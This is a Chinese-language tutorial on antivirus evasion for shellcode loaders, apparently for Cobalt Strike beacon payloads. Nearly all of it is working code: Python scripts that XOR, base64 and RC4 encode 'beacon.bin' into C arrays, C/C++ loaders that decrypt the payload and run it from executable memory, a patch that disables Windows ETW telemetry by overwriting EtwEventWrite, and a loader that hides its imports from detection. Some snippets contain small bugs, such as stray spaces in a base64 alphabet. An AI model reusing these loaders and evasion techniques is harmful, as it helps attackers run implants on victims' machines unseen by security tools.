目录
shellcode处理篇
c语⾔数组
使用python,将bin文件处理成C语言数组
def read_binary_file(filename):
with open(filename, "rb") as file:
return file.read()
def generate_c_array(data):
nop = "\t0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,"
c_array = ""
for i, byte in enumerate(data):
if i % 100 == 0:
c_array += "\n"
c_array += "\t"
c_array += f"0x{byte:02X}, "
c_array = c_array.rstrip(", ") # 移除最后⼀个逗号和空格
return "{"+nop+c_array+"\n};"
def main():
# 读取⼆进制⽂件
filename = "beacon.bin"
binary_data = read_binary_file(filename)
# ⽣成C格式的数组
c_array = generate_c_array(binary_data)
# 将结果输出到⽂件
output_filename = "res.txt"
with open(output_filename, "w") as file:
file.write(c_array)
if __name__ == "__main__":
main()
xor加密
数字型异或
异或编码
def read_binary_file(filename):
with open(filename, "rb") as file:
return file.read()
def xor_data(data, key):
return bytes(byte ^ key for byte in data)
def generate_c_array(data):
nop = "\t0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,"
c_array = nop + "\n\t"
for i, byte in enumerate(data):
if i % 100 == 0 and i != 0:
c_array += "\n\t"
c_array += f"0x{byte:02X}, "
c_array = c_array.rstrip(", ") # 移除最后一个逗号和空格
return "{" + c_array + "\n};"
def main():
# 读取⼆进制⽂件
filename = "beacon.bin"
binary_data = read_binary_file(filename)
# 异或处理数据
xor_key = 77
xor_result = xor_data(binary_data, xor_key)
# ⽣成C格式的数组
c_array = generate_c_array(xor_result)
# 将结果输出到⽂件
output_filename = "res.txt"
with open(output_filename, "w") as file:
file.write(c_array)
if __name__ == "__main__":
main()
解密执行
#include <Windows.h>
// 异或解密函数的实现
void xorDecrypt(unsigned char* data, size_t size, unsigned char key)
{
for (size_t i = 0; i < size; ++i)
{
data[i] ^= key;
}
}
int main()
{
// 加密的Shellcode
unsigned char encryptedShellcode[] = { 0xdd };
// 计算Shellcode的⼤⼩
size_t shellcodeSize = sizeof(encryptedShellcode) - 1; // 减去字符串结尾的空字符
// 解密Shellcode
xorDecrypt(encryptedShellcode, shellcodeSize, 77);
// 分配可执⾏内存
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
PVOID pShellcode = HeapAlloc(hHeap, 0, shellcodeSize);
RtlCopyMemory(pShellcode, encryptedShellcode, shellcodeSize);
// 创建线程执⾏Shellcode
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
// 清理资源
HeapFree(hHeap, 0, pShellcode);
CloseHandle(hThread);
HeapDestroy(hHeap);
return 0;
}
字符型异或
异或编码
def read_binary_file(filename):
with open(filename, "rb") as file:
return file.read()
def xor_data(data, key):
key_length = len(key)
return bytes(byte ^ key[i % key_length] for i, byte in enumerate(data)
)
def generate_c_array(data):
c_array = ""
for i, byte in enumerate(data):
if i % 100 == 0:
c_array += "\n"
c_array += "\t"
c_array += f"0x{byte:02X}, "
c_array = c_array.rstrip(", ") # 移除最后⼀个逗号和空格
return "{"+c_array+"\n};"
def main():
# 读取⼆进制⽂件
filename = "beacon.bin"
binary_data = read_binary_file(filename)
# 异或处理数据
xor_key = "baidu"
xor_result = xor_data(binary_data, xor_key.encode())
# ⽣成C格式的数组
c_array = generate_c_array(xor_result)
# 将结果输出到⽂件
output_filename = "res.txt"
with open(output_filename, "w") as file:
file.write(c_array)
if __name__ == "__main__":
main()
解密执⾏
#include <Windows.h>
// 异或解密函数的实现
void xorDecrypt(unsigned char* data, size_t size, const char* key){
size_t keyLength = strlen(key);
for (size_t i = 0; i < size; ++i){
data[i] ^= key[i % keyLength];
}
}
int main()
{
// 加密的Shellcode
unsigned char encryptedShellcode[] = "xxx"; // 加密的Shellcode
// 计算Shellcode的⼤⼩
size_t shellcodeSize = sizeof(encryptedShellcode) - 1; // 减去字符串结尾的空字符
// 解密Shellcode
const char* xorKey = "baidu";
xorDecrypt(encryptedShellcode, shellcodeSize, xorKey);
// 分配可执⾏内存
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
PVOID pShellcode = HeapAlloc(hHeap, 0, shellcodeSize);
RtlCopyMemory(pShellcode, encryptedShellcode, shellcodeSize);
// 创建线程执⾏Shellcode
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
// 清理资源
HeapFree(hHeap, 0, pShellcode);
CloseHandle(hThread);
HeapDestroy(hHeap);
return 0;
}
base64编码
编码
import base64
def read_binary_file(filename):
with open(filename, "rb") as file:
return file.read()
def base64_encode(data):
encoded_data = base64.b64encode(data)
return encoded_data.decode("utf-8")
def generate_c_array(data):
c_array = ""
for i, char in enumerate(data):
if i % 100 == 0:
c_array += "\n"
c_array += "\t"
c_array += f"0x{ord(char):02X}, "
c_array = c_array.rstrip(", ") # 移除最后⼀个逗号和空格
return "{" + c_array + "\n};"
def main():
# 读取⼆进制⽂件
filename = "beacon.bin"
binary_data = read_binary_file(filename)
# Base64编码处理数据
encoded_data = base64_encode(binary_data)
# ⽣成C格式的数组
c_array = generate_c_array(encoded_data)
# 将结果输出到⽂件
output_filename = "res.txt"
with open(output_filename, "w") as file:
file.write(c_array)
if __name__ == "__main__":
main()
解密执⾏
#include <Windows.h>
#include <string>
#include <vector>
#include <iostream>
#include <algorithm>
#include <iterator>
#include <sstream>
#include <iomanip>
#include <stdexcept>
// 解码Base64函数的实现
std::vector<unsigned char> base64Decode(const std::string& encodedData)
{
static const std::string base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 + / ";
size_t encodedLength = encodedData.size();
if (encodedLength % 4 != 0)
{
throw std::invalid_argument("Invalid Base64 encoded string.");
}
size_t padding = 0;
if (encodedLength > 0 && encodedData[encodedLength - 1] == '=')
{
padding++;
if (encodedData[encodedLength - 2] == '=')
{
padding++;
}
}
size_t decodedLength = (encodedLength * 3) / 4 - padding;
std::vector<unsigned char> decodedData(decodedLength, 0);
for (size_t i = 0, j = 0; i < encodedLength;)
{
uint32_t sextet_a = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
uint32_t sextet_b = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
uint32_t sextet_c = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
uint32_t sextet_d = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
uint32_t triple = (sextet_a << 18) | (sextet_b << 12) | (sextet_c<< 6) | sextet_d;
if (j < decodedLength)
{
decodedData[j++] = (triple >> 16) & 0xFF;
}
if (j < decodedLength)
{
decodedData[j++] = (triple >> 8) & 0xFF;
}
if (j < decodedLength)
{
decodedData[j++] = triple & 0xFF;
}
}
return decodedData;
}
int main()
{
// Base64编码的Shellcode
std::string encodedShellcode = "xxx"; // Base64编码的Shellcode
// Base64解码Shellcode
std::vector<unsigned char> decodedShellcode = base64Decode(encodedShellcode);
// 分配可执⾏内存
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
PVOID pShellcode = HeapAlloc(hHeap, 0, decodedShellcode.size());
RtlCopyMemory(pShellcode, decodedShellcode.data(), decodedShellcode.size());
// 创建线程执⾏Shellcode
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
// 清理资源
HeapFree(hHeap, 0, pShellcode);
CloseHandle(hThread);
HeapDestroy(hHeap);
return 0;
}
RC4加密
常规rc4
加密转换
from Crypto.Cipher import ARC4
def encrypt_rc4(key, data):
cipher = ARC4.new(key)
encrypted_data = cipher.encrypt(data)
return encrypted_data
def generate_c_array(data):
c_array = ""
for i, byte in enumerate(data):
if i % 100 == 0 and i != 0:
c_array += "\n"
c_array += "\t"
c_array += f"{hex(byte)}, "
return "{\t" + c_array.rstrip(", ") + "\n};"
def write_to_file(filename, content):
with open(filename, "w") as file:
file.write(content)
# 读取文件
with open("beacon.bin", "rb") as file:
beacon_data = file.read()
def main():
# RC4加密
key = b"YourKey"
encrypted_data = encrypt_rc4(key, beacon_data)
# 生成C格式数组
c_array = generate_c_array(encrypted_data)
# 写入文件
write_to_file("res.txt", c_array)
if __name__ == "__main__":
main()
解密执⾏
main.cpp
#include <Windows.h>
#include "rc4.h"
int main() {
char key[] = "YourKey";
unsigned char encrypted_shellcode[] = "encrypted_shellcode";
int encrypted_shellcode_len = sizeof(encrypted_shellcode) - 1;
unsigned char S[N] = { 0 };
KSA(key, S);
PRGA(S, reinterpret_cast<char*>(encrypted_shellcode), encrypted_shellcode_len);
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
PVOID Mptr = HeapAlloc(hHeap, 0, encrypted_shellcode_len);
RtlCopyMemory(Mptr, encrypted_shellcode, encrypted_shellcode_len);
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
rc4.cpp
#pragma once
#define N 256 // 2^8
static void swap(unsigned char* a, unsigned char* b) {
unsigned char tmp = *a;
*a = *b;
*b = tmp;
}
static int KSA(char* key, unsigned char* S) {
int len = strlen(key);
unsigned int j = 0;
for (int i = 0; i < N; i++) {
S[i] = i;
}
for (int i = 0; i < N; i++) {
j = (j + S[i] + key[i % len]) % N;
swap(&S[i], &S[j]);
}
return 0;
}
static int PRGA(unsigned char* S, char* plaintext, int plainTextSize) {
int i = 0;
int j = 0;
for (size_t n = 0; n < plainTextSize; n++) {
i = (i + 1) % N;
j = (j + S[i]) % N;
swap(&S[i], &S[j]);
int rnd = S[(S[i] + S[j]) % N];
plaintext[n] ^= rnd;
}
return 0;
}
// 使用案例
/*
static int RC4(char* key, char* plaintext, int plainTextSize) {
unsigned char S[N] = { 0 };
KSA(key, S);
PRGA(S, plaintext, plainTextSize);
return 0;
}
*/
base64+rc4
加密转换
from Crypto.Cipher import ARC4
import base64
def read_binary_file(filename):
with open(filename, "rb") as file:
return file.read()
def encrypt_rc4(key, data):
cipher = ARC4.new(key)
return cipher.encrypt(data)
def base64_encode(data):
return base64.b64encode(data).decode("utf-8")
def generate_c_array(data):
c_array = ""
for i, char in enumerate(data):
if i % 100 == 0 and i > 0:
c_array += "\n\t"
c_array += f"0x{ord(char):02X}, "
return "{" + c_array.rstrip(", ") + "\n};"
def main():
filename = "beacon.bin"
binary_data = read_binary_file(filename)
# RC4加密
key = b"YourKey"
encrypted_data = encrypt_rc4(key, binary_data)
# Base64编码处理数据
encoded_data = base64_encode(encrypted_data)
c_array = generate_c_array(encoded_data)
# 将结果输出到文件
output_filename = "res.txt"
with open(output_filename, "w") as file:
file.write(c_array)
if __name__ == '__main__':
main()
解密执⾏
rc4.h
#pragma once
#include <string.h>
#define N 256 // 2^8
static void swap(unsigned char* a, unsigned char* b) {
unsigned char tmp = *a;
*a = *b;
*b = tmp;
}
static void KSA(const char* key, unsigned char* S) {
int len = strlen(key);
unsigned int j = 0;
for (int i = 0; i < N; i++) {
S[i] = i;
}
for (int i = 0; i < N; i++) {
j = (j + S[i] + key[i % len]) % N;
swap(&S[i], &S[j]);
}
}
static void PRGA(unsigned char* S, unsigned char* plaintext, int plainTextSize) {
int i = 0, j = 0;
for (int n = 0; n < plainTextSize; n++) {
i = (i + 1) % N;
j = (j + S[i]) % N;
swap(&S[i], &S[j]);
int rnd = S[(S[i] + S[j]) % N];
plaintext[n] ^= rnd;
}
}
// 使用案例
/*
static void RC4(const char* key, unsigned char* plaintext, int plainTextSize) {
unsigned char S[N] = { 0 };
KSA(key, S);
PRGA(S, plaintext, plainTextSize);
}
*/
base64.h
#include <Windows.h>
#include <iostream>
#include <vector>
#include <stdexcept>
// 解码Base64函数的实现
std::vector<unsigned char> base64Decode(const std::string& encodedData) {
static const std::string base64Chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
size_t encodedLength = encodedData.size();
if (encodedLength % 4 != 0) {
throw std::invalid_argument("Invalid Base64 encoded string.");
}
size_t padding = 0;
if (encodedLength > 0 && encodedData[encodedLength - 1] == '=') {
padding++;
if (encodedData[encodedLength - 2] == '=') {
padding++;
}
}
size_t decodedLength = (encodedLength * 3) / 4 - padding;
std::vector<unsigned char> decodedData(decodedLength, 0);
for (size_t i = 0, j = 0; i < encodedLength;) {
uint32_t sextet_a = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
uint32_t sextet_b = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
uint32_t sextet_c = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
uint32_t sextet_d = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);
uint32_t triple = (sextet_a << 18) | (sextet_b << 12) | (sextet_c << 6) | sextet_d;
if (j < decodedLength) decodedData[j++] = (triple >> 16) & 0xFF;
if (j < decodedLength) decodedData[j++] = (triple >> 8) & 0xFF;
if (j < decodedLength) decodedData[j++] = triple & 0xFF;
}
return decodedData;
}
main.cpp
#include <Windows.h>
#include <string>
#include <vector>
#include "rc4.h"
#include "base64.h"
int main() {
// Base64编码的Shellcode
std::string encodedShellcode = {0x72, 0x39, 0x66, 0x63, 0x73, 0x34};
// Base64解码Shellcode
std::vector<unsigned char> decodedShellcode = base64Decode(encodedShellcode);
char key[] = "YourKey";
unsigned char S[N] = {0};
KSA(key, S);
PRGA(S, reinterpret_cast<char*>(decodedShellcode.data()), decodedShellcode.size());
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
PVOID Mptr = HeapAlloc(hHeap, 0, decodedShellcode.size());
RtlCopyMemory(Mptr, decodedShellcode.data(), decodedShellcode.size());
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
免杀逃逸效果
patch etw
Windows 事件跟踪 (ETW) 是⼀项内置功能,最初设计⽤于执⾏软件诊断,如今 ETW 被EDR⼚商⼴泛
使⽤。对 ETW 的攻击会使依赖 ETW 遥测的⼀整类安全解决⽅案失效。
ETW指Windows事件追踪,是很多安全产品使⽤的windows功能。
其部分功能位于ntdll.dll中,可以修改内存中的etw相关函数达到禁⽌⽇志输出的效果,最常⻅的⽅法是
修改EtwEventWrite函数。
#include <windows.h>
#include <stdio.h>
#include <iostream>
using namespace std;
typedef void* (*tNtVirtual)(HANDLE ProcessHandle, IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;
void patchETW() {
unsigned char patch[] = {0x48, 0x33, 0xc0, 0xc3}; // xor rax, rax; ret
ULONG oldprotect = 0;
size_t size = sizeof(patch);
HANDLE hCurrentProc = GetCurrentProcess();
unsigned char sEtwEventWrite[] = "EtwEventWrite";
void* pEventWrite = GetProcAddress(GetModuleHandle(L"ntdll.dll"), (LPCSTR)sEtwEventWrite);
if (pEventWrite == NULL) {
cout << "Error: Unable to get EtwEventWrite address" << endl;
return;
}
printf("NTDLL.DLL START ADDRESS: %08x\n", (DWORD)GetModuleHandle(L"ntdll.dll"));
FARPROC farProc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtProtectVirtualMemory");
if (farProc == NULL) {
cout << "Error: Unable to get NtProtectVirtualMemory address" << endl;
return;
}
printf("NtProtectVirtualMemory ADDRESS: %08x\n", (DWORD)farProc);
oNtVirtual = (tNtVirtual)farProc;
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);
memcpy(pEventWrite, patch, sizeof(patch));
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
FlushInstructionCache(hCurrentProc, pEventWrite, size);
}
int main() {
patchETW();
unsigned char ShellCode[] = ""; // Add your shellcode here
void* exec = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof(ShellCode));
((void(*)())exec)();
return 0;
}
函数导⼊表隐藏
Import Address Table
在PE结构中,存在⼀个导⼊表,导⼊表中声明了这个PE⽂件会载⼊哪些模块,同时每个模块的结构中⼜
会指向模块中的⼀些函数名称。
这样的组织关系是为了告诉操作系统这些函数的地址在哪⾥,⽅便修正调⽤地址。
由于导⼊函数就是被程序调⽤但其执⾏代码⼜不在程序中的函数,这些函数的代码位于⼀个或者多个
DLL中。
当PE⽂件被装⼊内存的时候,Windows装载器才将DLL装⼊,并将调⽤导⼊函数的指令和函数实际所处
的地址联系起来(动态连接),这操作就需要导⼊表完成。
其中导⼊地址表就指示函数实际地址。
#include <Windows.h>
#include <intrin.h>
#include <stdio.h>
typedef LPVOID(WINAPI* ImportVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef HANDLE(WINAPI* ImportCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef BOOL(WINAPI* ImportVirtualProtect)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
LPDWORD lpflOldProtect
);
typedef DWORD(WINAPI* ImportWaitForSingleObject)(
HANDLE hHandle,
DWORD dwMilliseconds
);
int main() {
ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(
GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(
GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(
GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(
GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");
int shellcode_size = 0; // Shellcode length
DWORD dwThreadId; // Thread ID
HANDLE hThread; // Thread handle
DWORD dwOldProtect; // Memory page attributes
char buf[] = ""; // Placeholder for shellcode
// Get shellcode size
shellcode_size = sizeof(buf);
// XOR the shellcode
for (int i = 0; i < shellcode_size; i++) {
_InterlockedXor8(buf + i, 10);
}
char* shellcode = (char*)MyVirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // Allocate readable and writable
);
// Copy shellcode to allocated memory
CopyMemory(shellcode, buf, shellcode_size);
// Change memory attributes to executable
MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = MyCreateThread(
NULL, // Security attributes
NULL, // Stack size
(LPTHREAD_START_ROUTINE)shellcode, // Function
NULL, // Parameter
NULL, // Thread flags
&dwThreadId // Thread ID
);
MyWaitForSingleObject(hThread, INFINITE); // Wait for thread to finish
return 0;
}